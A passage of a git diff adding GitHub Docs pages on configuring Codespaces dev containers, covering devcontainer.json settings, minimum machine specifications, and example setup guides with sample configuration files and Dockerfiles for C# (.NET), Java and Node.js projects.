+   If multiple `devcontainer.json` files are found in the repository, they are listed in the codespace creation options page. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+   ![Screenshot of a choice of configuration files](/assets/images/help/codespaces/configuration-file-choice.png)
+
+### Adding a `devcontainer.json` file
+
+If you don't already have a `devcontainer.json` file in your repository, you can quickly add one from {% data variables.product.prodname_dotcom_the_website %}.
+1. Navigate to your repository and click the **{% octicon "code" aria-label="The code icon" %} Code** dropdown.
+1. In the **Codespaces** tab, click the ellipsis (**...**), then select **Configure dev container**.
+
+   ![Screenshot of the Code dropdown, with "Configure dev container" highlighted](/assets/images/help/codespaces/configure-dev-container.png)
+
+A new `.devcontainer/devcontainer.json` file will open in the editor. The file will contain some initial properties, including a `features` object to which you can add new tools, libraries, or runtimes. For more information, see "[Adding features to a `devcontainer.json` file](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=webui)."
+
+If your repository already contains one or more `devcontainer.json` files, then clicking **Configure dev container** will open the existing `devcontainer.json` file with the highest precedence according to the [specification](https://containers.dev/implementors/spec/#devcontainerjson) on containers.dev. 
+
+### Default configuration selection during codespace creation
+
+If `.devcontainer/devcontainer.json` or `.devcontainer.json` exists, it will be the default selection in the list of available configuration files when you create a codespace. If neither file exists, the default dev container configuration will be selected by default. 
+
+![Screenshot of the default configuration choice selected](/assets/images/help/codespaces/configuration-file-choice-default.png)
+
+### Editing the devcontainer.json file
+
+You can add and edit the supported configuration keys in the `devcontainer.json` file to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode_shortname %} extensions will be installed. {% data reusables.codespaces.more-info-devcontainer %}
+
+The `devcontainer.json` file is written using the JSONC (JSON with comments) format. This allows you to include comments within the configuration file. For more information, see "[Editing JSON with {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/languages/json#_json-with-comments)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+{% note %}
+
+**Note**: If you use a linter to validate the `devcontainer.json` file, make sure it is set to JSONC and not JSON or comments will be reported as errors.
+
+{% endnote %}
+
+### Interface settings for {% data variables.product.prodname_vscode_shortname %}
+
+You can configure the interface settings for {% data variables.product.prodname_vscode_shortname %}, with three scopes: Workspace, Remote [Codespaces], and User. You can view these scopes in the {% data variables.product.prodname_vscode_shortname %} Settings editor.
+
+![Screenshot showing the choice of scopes in the Settings editor](/assets/images/help/codespaces/scopes-for-vscode.png)
+
+If a setting is defined in multiple scopes, Workspace settings take priority, then Remote [Codespaces], then User.
+
+You can define default interface settings for {% data variables.product.prodname_vscode_shortname %} in two places.
+
+* Interface settings defined in the `.vscode/settings.json` file in your repository are applied as Workspace-scoped settings in the codespace.
+* Interface settings defined in the `settings` key in the `devcontainer.json` file are applied as Remote [Codespaces]-scoped settings in the codespace.
+
+## Applying configuration changes to a codespace
+
+Changes to a configuration will be applied the next time you create a codespace. However, if you're using a codespace in a web browser, in {% data variables.product.prodname_vscode_shortname %}, or in a JetBrains IDE, you can apply configuration changes to the current codespace by rebuilding the container.
+
+### Rebuilding the dev container in the {% data variables.product.prodname_vscode_shortname %} web client or desktop application
+
+{% data reusables.codespaces.rebuild-command %}
+1. {% data reusables.codespaces.recovery-mode %}
+
+   ![Screenshot of the error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
+
+   - To diagnose the error by reviewing the creation logs, click **View creation log**.
+   - To fix the errors identified in the logs, update your `devcontainer.json` file.
+   - To apply the changes, rebuild your container. 
+
+### Rebuilding the dev container in a JetBrains IDE
+
+{% data reusables.codespaces.jetbrains-open-codespace-plugin %}
+1. In the {% data variables.product.prodname_github_codespaces %} tool window, click the rebuild icon.
+
+   ![Screenshot of the rebuild button](/assets/images/help/codespaces/jetbrains-plugin-icon-rebuild.png)
+
+1. Click **Rebuild** when prompted to confirm that you want to rebuild the dev container. 
+1. Reopen the codespace in your JetBrains IDE.
+
+
+## Further reading
+
+- "[Prebuilding your codespaces](/codespaces/prebuilding-your-codespaces)"
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..e5659b2dc7
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,54 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Set a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_github_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+---
+
+## Overview
+
+Each codespace that you create is hosted on a separate virtual machine. When you create a codespace from a repository, you can usually choose from different types of virtual machines. Each machine type has different resources (processor cores, memory, storage) and, by default, the machine type with the least resources is used. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements can be used by default, or selected by users. You configure this in a `devcontainer.json` file.
+
+{% data reusables.codespaces.machine-types-for-unpublished-codespaces %}
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+{% data reusables.codespaces.edit-devcontainer-json %}
+1. Edit the `devcontainer.json` file, adding the `hostRequirements` property at the top level of the file, within the enclosing JSON object. For example:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+   
+   To check the specifications of the {% data variables.product.prodname_github_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+   
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository, and you go to the creation configuration options, you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## Further reading
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)"
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
new file mode 100644
index 0000000000..43cbbf8871
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
@@ -0,0 +1,212 @@
+---
+title: Setting up your C# (.NET) project for GitHub Codespaces
+shortTitle: Setting up your C# (.NET) project
+allowTitleToDifferFromFilename: true
+intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.'
+redirect_from:
+  - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+hasExperimentalAlternative: true
+hidden: true
+---
+
+## Introduction
+
+This guide shows you how to set up your C# (.NET) project {% data reusables.codespaces.setting-up-project-intro %}
+
+### Prerequisites
+
+- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart.
+- You must have {% data variables.product.prodname_github_codespaces %} enabled for your organization.
+
+## Step 1: Open your project in a codespace
+
+1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}).
+
+  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+
+When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+
+{% data reusables.codespaces.customize-vcpus-and-ram %}
+
+## Step 2: Add a dev container configuration to your repository from a template
+
+The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} comes with the latest .NET version and common tools preinstalled. However, we recommend that you configure your own dev container to include all of the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository.
+
+{% data reusables.codespaces.setup-custom-devcontainer %}
+
+{% data reusables.codespaces.command-palette-container %}
+1. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL.
+  ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
+1. Click the recommended version of .NET.
+  ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png)
+1. Accept the default option to add Node.js to your customization.
+  ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png)
+{% data reusables.codespaces.rebuild-command %}
+
+### Anatomy of your dev container
+
+Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+
+- `devcontainer.json`
+- Dockerfile
+
+The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+
+#### devcontainer.json
+
+```json
+{
+	"name": "C# (.NET)",
+	"build": {
+		"dockerfile": "Dockerfile",
+		"args": {
+			// Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
+			"VARIANT": "5.0",
+			// Options
+			"INSTALL_NODE": "true",
+			"NODE_VERSION": "lts/*",
+			"INSTALL_AZURE_CLI": "false"
+		}
+	},
+
+	// Set *default* container specific settings.json values on container create.
+	"settings": {
+		"terminal.integrated.shell.linux": "/bin/bash"
+	},
+
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": [
+		"ms-dotnettools.csharp"
+	],
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [5000, 5001],
+
+	// [Optional] To reuse of your local HTTPS dev cert:
+	//
+	// 1. Export it locally using this command:
+	//    * Windows PowerShell:
+	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+	//    * macOS/Linux terminal:
+	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+	//
+	// 2. Uncomment these 'remoteEnv' lines:
+	//    "remoteEnv": {
+	// 	      "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
+	//        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
+	//    },
+	//
+	// 3. Start the container.
+	//
+	// 4. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer.
+	//
+	// 5. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https".
+	//
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "dotnet restore",
+
+	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "vscode"
+}
+```
+
+- **name** - You can name our dev container anything, this is just the default.
+- **build** - The build properties.
+  - **dockerfile** - In the `build` object, `dockerfile` contains the path to the Dockerfile that was also added from the template.
+  - **args**
+    - **variant**: This file only contains one build argument, which is the .NET Core version that we want to use.
+- **settings** - These are {% data variables.product.prodname_vscode %} settings.
+  - **terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
+- **extensions** - These are extensions included by default.
+  - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
+- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Use this to run commands that aren't defined in the Dockerfile, after your codespace is created.
+- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+
+#### Dockerfile
+
+```bash
+# [Choice] .NET version: 5.0, 3.1, 2.1
+ARG VARIANT="5.0"
+FROM mcr.microsoft.com/vscode/devcontainers/dotnetcore:0-${VARIANT}
+
+# [Option] Install Node.js
+ARG INSTALL_NODE="true"
+ARG NODE_VERSION="lts/*"
+RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "umask 0002 && . /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
+
+# [Option] Install Azure CLI
+ARG INSTALL_AZURE_CLI="false"
+COPY library-scripts/azcli-debian.sh /tmp/library-scripts/
+RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-debian.sh; fi \
+    && apt-get clean -y && rm -rf /var/lib/apt/lists/* /tmp/library-scripts
+
+# [Optional] Uncomment this section to install additional OS packages.
+# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
+#     && apt-get -y install --no-install-recommends <your-package-list-here>
+
+# [Optional] Uncomment this line to install global node packages.
+# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
+```
+
+You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+
+## Step 3: Modify your devcontainer.json file
+
+With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+
+1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+
+   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+
+2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+
+   ```json{:copy}
+   "extensions": [
+ 		  "ms-dotnettools.csharp",
+ 		  "streetsidesoftware.code-spell-checker",
+ 	  ],
+   ```
+
+3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process.
+
+   ```json{:copy}
+   // Use 'postCreateCommand' to run commands after the container is created.
+   "postCreateCommand": "dotnet restore",
+   ```
+
+   {% data reusables.codespaces.more-info-devcontainer %}
+
+{% data reusables.codespaces.rebuild-command %}
+
+   {% data reusables.codespaces.rebuild-reason %}
+
+5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed.
+
+    ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png)
+
+## Step 4: Run your application
+
+In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application.
+
+1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal.
+
+2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses.
+
+   ![Port forwarding "toast" notification](/assets/images/help/codespaces/python-port-forwarding.png)
+
+## Step 5: Commit your changes
+
+{% data reusables.codespaces.committing-link-to-procedure %}
+
+## Next steps
+
+You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_github_codespaces %}. Here are some additional resources for more advanced scenarios.
+
+{% data reusables.codespaces.next-steps-adding-devcontainer %}
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
new file mode 100644
index 0000000000..954d74025b
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
@@ -0,0 +1,183 @@
+---
+title: Setting up your Java project for GitHub Codespaces
+allowTitleToDifferFromFilename: true
+shortTitle: Setting up with your Java project
+intro: 'Get started with your Java project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.'
+redirect_from:
+  - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+hasExperimentalAlternative: true
+hidden: true
+---
+
+## Introduction
+
+This guide shows you how to set up your Java project {% data reusables.codespaces.setting-up-project-intro %}
+
+### Prerequisites
+
+- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java
+- You must have {% data variables.product.prodname_github_codespaces %} enabled for your organization.
+
+## Step 1: Open your project in a codespace
+
+1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}).
+
+  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+
+When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and Yarn. It also includes a set of commonly used tools such as git, wget, rsync, openssh, and nano.
+
+{% data reusables.codespaces.customize-vcpus-and-ram %}
+
+## Step 2: Add a dev container configuration to your repository from a template
+
+The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you configure your own dev container to include all of the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository.
+
+{% data reusables.codespaces.setup-custom-devcontainer %}
+
+{% data reusables.codespaces.command-palette-container %}
+1. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions.
+  ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png)
+1. Click the recommended version of Java.
+  ![Java version selection](/assets/images/help/codespaces/add-java-version.png)
+{% data reusables.codespaces.rebuild-command %}
+
+### Anatomy of your dev container
+
+Adding the Java dev container template adds a `.devcontainer` directory to the root of your project's repository with the following files:
+
+- `devcontainer.json`
+- Dockerfile
+
+The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+
+#### devcontainer.json
+
+```json
+// For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at:
+// https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java
+{
+	"name": "Java",
+	"build": {
+		"dockerfile": "Dockerfile",
+		"args": {
+			// Update the VARIANT arg to pick a Java version: 11, 14
+			"VARIANT": "11",
+			// Options
+			"INSTALL_MAVEN": "true",
+			"INSTALL_GRADLE": "false",
+			"INSTALL_NODE": "false",
+			"NODE_VERSION": "lts/*"
+		}
+	},
+
+	// Set *default* container specific settings.json values on container create.
+	"settings": {
+		"terminal.integrated.shell.linux": "/bin/bash",
+		"java.home": "/docker-java-home",
+		"maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
+	},
+
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": [
+		"vscjava.vscode-java-pack"
+	],
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "java -version",
+
+	// Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "vscode"
+}
+```
+
+- **name** - You can name your dev container anything, this is just the default.
+- **build** - The build properties.
+  - **dockerfile** - In the `build` object, `dockerfile` contains the path to the Dockerfile that was also added from the template.
+  - **args**
+    - **variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile.
+- **settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
+  - **terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
+- **extensions** - These are extensions included by default.
+  - **vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started.
+- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Use this to run commands that aren't defined in the Dockerfile, after your codespace is created.
+- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+
+#### Dockerfile
+
+```bash
+# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile
+ARG VARIANT="14"
+FROM mcr.microsoft.com/vscode/devcontainers/java:0-${VARIANT}
+
+# [Optional] Install Maven or Gradle
+ARG INSTALL_MAVEN="false"
+ARG MAVEN_VERSION=3.6.3
+ARG INSTALL_GRADLE="false"
+ARG GRADLE_VERSION=5.4.1
+RUN if [ "${INSTALL_MAVEN}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install maven \"${MAVEN_VERSION}\""; fi \
+    && if [ "${INSTALL_GRADLE}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install gradle \"${GRADLE_VERSION}\""; fi
+
+# [Optional] Install a version of Node.js using nvm for front end dev
+ARG INSTALL_NODE="true"
+ARG NODE_VERSION="lts/*"
+RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
+
+# [Optional] Uncomment this section to install additional OS packages.
+# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
+#     && apt-get -y install --no-install-recommends <your-package-list-here>
+
+# [Optional] Uncomment this line to install global node packages.
+# RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
+```
+
+You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our container.
+
+## Step 3: Modify your devcontainer.json file
+
+With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+
+1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+
+   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+
+2. Add the following lines to your `devcontainer.json` file after `extensions`.
+
+   ```json{:copy}
+   "postCreateCommand": "npm install",
+   "forwardPorts": [4000],
+   ```
+
+   {% data reusables.codespaces.more-info-devcontainer %}
+
+{% data reusables.codespaces.rebuild-command %}
+
+   {% data reusables.codespaces.rebuild-reason %}
+
+## Step 4: Run your application
+
+In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm.
+
+1. Run your application by pressing `F5`.
+
+2. When your project starts, you should see a "toast" notification message at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, containing a prompt to connect to the port your project uses.
+
+   ![Port forwarding "toast" notification](/assets/images/help/codespaces/codespaces-port-toast.png)
+
+## Step 5: Commit your changes
+
+{% data reusables.codespaces.committing-link-to-procedure %}
+
+## Next steps
+
+You should now be ready start developing your Java project in {% data variables.product.prodname_github_codespaces %}. Here are some additional resources for more advanced scenarios.
+
+{% data reusables.codespaces.next-steps-adding-devcontainer %}
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
new file mode 100644
index 0000000000..b46287cc47
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
@@ -0,0 +1,177 @@
+---
+title: Setting up your Node.js project for GitHub Codespaces
+allowTitleToDifferFromFilename: true
+shortTitle: Setting up your Node.js project
+intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_github_codespaces %} by creating a custom dev container.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces
+type: tutorial
+topics:
+  - Codespaces
+  - Developer
+  - Node
+  - JavaScript
+hasExperimentalAlternative: true
+hidden: true
+---
+
+
+
+## Introduction
+
+This guide shows you how to set up your JavaScript, Node.js, or TypeScript project {% data reusables.codespaces.setting-up-project-intro %}
+
+### Prerequisites
+
+- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node
+- You must have {% data variables.product.prodname_github_codespaces %} enabled for your organization.
+
+## Step 1: Open your project in a codespace
+
+1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** dropdown menu, and in the **Codespaces** tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %}).
+
+   ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+
+When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+
+{% data reusables.codespaces.customize-vcpus-and-ram %}
+
+## Step 2: Add a dev container configuration to your repository from a template
+
+The default development container, or "dev container," for {% data variables.product.prodname_github_codespaces %} will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. However, we recommend that you configure your own dev container, as this allows you to define any particular tools and scripts your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_github_codespaces %} users in your repository.
+
+{% data reusables.codespaces.setup-custom-devcontainer %}
+
+{% data reusables.codespaces.command-palette-container %}
+1. For this example, click **Node.js**.  If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB.
+
+   ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png)
+
+1. Click the recommended version of Node.js.
+
+   ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png)
+
+{% data reusables.codespaces.rebuild-command %}
+
+### Anatomy of your dev container
+
+Adding the Node.js dev container template adds a `.devcontainer` directory to the root of your project's repository with the following files:
+
+- `devcontainer.json`
+- Dockerfile
+
+The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+
+#### devcontainer.json
+
+```json
+// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
+// https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node
+{
+	"name": "Node.js",
+	"build": {
+		"dockerfile": "Dockerfile",
+		// Update 'VARIANT' to pick a Node version: 10, 12, 14
+		"args": { "VARIANT": "14" }
+	},
+
+	// Set *default* container specific settings.json values on container create.
+	"settings": {
+		"terminal.integrated.shell.linux": "/bin/bash"
+	},
+
+	// Add the IDs of extensions you want installed when the container is created.
+	"extensions": [
+		"dbaeumer.vscode-eslint"
+	],
+
+	// Use 'forwardPorts' to make a list of ports inside the container available locally.
+	// "forwardPorts": [],
+
+	// Use 'postCreateCommand' to run commands after the container is created.
+	// "postCreateCommand": "yarn install",
+
+	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
+	"remoteUser": "node"
+}
+```
+
+- **name** - You can name your dev container anything, this is just the default.
+- **build** - The build properties.
+  - **dockerfile** - In the `build` object, `dockerfile` contains the path to the Dockerfile that was also added from the template.
+  - **args**
+    - **variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
+- **settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
+  - **terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
+- **extensions** - These are extensions included by default.
+  - **dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include.
+- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Use this to run commands that aren't defined in the Dockerfile, after your codespace is created.
+- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+
+#### Dockerfile
+
+```bash
+# [Choice] Node.js version: 14, 12, 10
+ARG VARIANT="14-buster"
+FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT}
+
+# [Optional] Uncomment this section to install additional OS packages.
+# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
+#     && apt-get -y install --no-install-recommends <your-package-list-here>
+
+# [Optional] Uncomment if you want to install an additional version of node using nvm
+# ARG EXTRA_NODE_VERSION=10
+# RUN su node -c "source /usr/local/share/nvm/nvm.sh && nvm install ${EXTRA_NODE_VERSION}"
+
+# [Optional] Uncomment if you want to install more global node modules
+# RUN su node -c "npm install -g <your-package-list-here>"
+```
+
+You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+
+## Step 3: Modify your devcontainer.json file
+
+With your dev container configuration added and a basic understanding of what everything does, you can now make changes to customize your environment further. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally.
+
+1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+
+   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+
+2. Add the following lines to your `devcontainer.json` file after `extensions`:
+
+   ```json{:copy}
+   "postCreateCommand": "npm install",
+   "forwardPorts": [4000],
+   ```
+
+   {% data reusables.codespaces.more-info-devcontainer %}
+
+{% data reusables.codespaces.rebuild-command %}
+
+   {% data reusables.codespaces.rebuild-reason %}
+
+## Step 4: Run your application
+
